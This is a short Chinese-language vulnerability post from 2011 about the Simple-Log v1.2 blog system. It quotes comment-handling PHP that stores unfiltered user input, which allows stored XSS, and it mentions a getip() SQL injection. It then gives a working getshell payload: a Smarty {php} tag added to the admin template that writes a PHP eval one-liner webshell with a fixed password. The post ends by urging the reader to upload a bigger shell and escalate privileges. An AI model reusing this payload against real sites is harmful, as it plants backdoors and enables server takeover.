Simple-Log v1.2两个漏洞和拿webshell方法
时间:2011-04-25 来源:子仪
发布日期:2011-04.24
发布作者:子仪
漏洞类型:xss/sql/Getshell
漏洞分析:
1、XSS
$user_name=$_POST['name']; //未过滤... $home=$_POST['url'];//未过滤...... $replay_id=intval($_GET['comment_id']); //未过滤......... $email=$_POST['email'];//未过滤............ $content=$_POST['content'];//未过滤........................................ if (empty($content)) { $res['error']='评论内容不能为空'; die($json->encode($res)); } else { $content=process_text($content); } ... $content=mysql_escape_string($content); $sql="INSERT INTO ".table('comment')." (`comment_id` ,`blog_id` ,`user_id` ,`user_name` ,`content` ,`email` ,`home` ,`add_time` ,`ip` ,`status` )". "VALUES (NULL , '$id', '$user_id', '$user_name', '".$content."', '$email', '$home', '$time', '$ip', '".$config['comment_safe']."') ";
多处用户提交的地方没有进行过滤,导致用户可以插入XSS代码。
第二:getip()注入
这个漏洞是老生常谈了,可还是有很多的程序员不重视,直接复制网上的例子。哎,WEB安全任重道远啊。。。。
3.WEBSHELL
该系统用的是Smarty模板引擎,我们可以通过Smarty特有的标签来执行PHP脚本。进入后台,点击自定义网站模板,在最后一行加入
{php}fwrite(fopen('zyday.php',w),'<?php eval($_POST[zyday.com])?>');{/php}
刷新网站首页,此时目标站根目录下会生成zyday.php的一句话木马,密码是zyday.com,接下来就传大马提权吧。
标签分类: SQL注入 Getshell XSS跨站
相关阅读 更多 +
排行榜 更多 +